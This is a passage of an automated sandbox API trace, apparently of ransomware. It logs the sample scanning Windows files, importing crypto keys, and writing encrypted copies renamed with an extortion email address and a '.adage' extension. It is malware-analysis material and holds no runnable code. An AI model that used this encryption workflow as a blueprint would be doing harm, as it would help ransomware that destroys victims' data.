Sidebar\\Gadgets\\Weather.Gadget\\images\\1px.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1px.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.831] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=43) returned 1 [0067.831] CloseHandle (hObject=0x100) returned 1 [0067.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1px.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1px.gif")) returned 0x20 [0067.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1px.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1px.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\1px.gif" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\1px.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.831] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.831] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5206) returned 1 [0067.831] CloseHandle (hObject=0x100) returned 1 [0067.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png")) returned 0x20 [0067.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.832] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.832] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6073) returned 1 [0067.832] CloseHandle (hObject=0x100) returned 1 [0067.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png")) returned 0x20 [0067.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\20.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.833] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.833] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6073) returned 1 [0067.833] CloseHandle (hObject=0x100) returned 1 [0067.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png")) returned 0x20 [0067.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.833] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.834] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6073) returned 1 [0067.834] CloseHandle (hObject=0x100) returned 1 [0067.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png")) returned 0x20 [0067.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.835] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.836] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5573) returned 1 [0067.836] CloseHandle (hObject=0x100) returned 1 [0067.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png")) returned 0x20 [0067.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.836] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.836] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5573) returned 1 [0067.836] CloseHandle (hObject=0x100) returned 1 [0067.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png")) returned 0x20 [0067.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.837] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.837] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5573) returned 1 [0067.837] CloseHandle (hObject=0x100) returned 1 [0067.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png")) returned 0x20 [0067.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.838] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.839] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5064) returned 1 [0067.839] CloseHandle (hObject=0x100) returned 1 [0067.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png")) returned 0x20 [0067.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\26.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\26.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.839] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.840] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5064) returned 1 [0067.840] CloseHandle (hObject=0x100) returned 1 [0067.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png")) returned 0x20 [0067.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.840] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.841] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5064) returned 1 [0067.841] CloseHandle (hObject=0x100) returned 1 [0067.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png")) returned 0x20 [0067.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.841] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.842] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4112) returned 1 [0067.842] CloseHandle (hObject=0x100) returned 1 [0067.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png")) returned 0x20 [0067.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\29.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\29.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.843] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.843] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5206) returned 1 [0067.843] CloseHandle (hObject=0x100) returned 1 [0067.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png")) returned 0x20 [0067.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.843] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0067.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\30.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 49 os_tid = 0xfe8 [0050.018] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x2b273f8 [0050.019] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x10000) returned 0x37b0048 [0050.019] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x28) returned 0xab7128 [0050.019] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x110102) returned 0x39b0020 [0050.020] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x50) returned 0xab7158 [0050.020] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fc28*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc90 | out: phKey=0x334fc90*=0x4d28d0) returned 1 [0050.020] CryptSetKeyParam (hKey=0x4d28d0, dwParam=0x1, pbData=0x334fc78, dwFlags=0x0) returned 1 [0050.020] CryptDecrypt (in: hKey=0x4d28d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0x334fc44 | out: pbData=0xab7158, pdwDataLen=0x334fc44) returned 1 [0050.020] CryptDestroyKey (hKey=0x4d28d0) returned 1 [0050.020] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0050.020] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0050.020] Wow64DisableWow64FsRedirection (in: OldValue=0x334fce0 | out: OldValue=0x334fce0*=0x0) returned 1 [0050.021] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0050.021] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0050.030] ResetEvent (hEvent=0x158) returned 1 [0050.030] SetEvent (hEvent=0x15c) returned 1 [0050.030] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0050.030] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.030] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0050.038] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0050.150] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.608] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.615] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.626] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.635] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0051.643] ResetEvent (hEvent=0x158) returned 1 [0051.643] SetEvent (hEvent=0x15c) returned 1 [0051.643] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0051.643] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.644] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2482) returned 1 [0051.644] CloseHandle (hObject=0x17c) returned 1 [0051.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0051.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.644] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.644] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.644] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0051.644] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.644] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d6310) returned 1 [0051.644] CryptSetKeyParam (hKey=0x4d6310, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0051.645] ReadFile (in: hFile=0x17c, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: 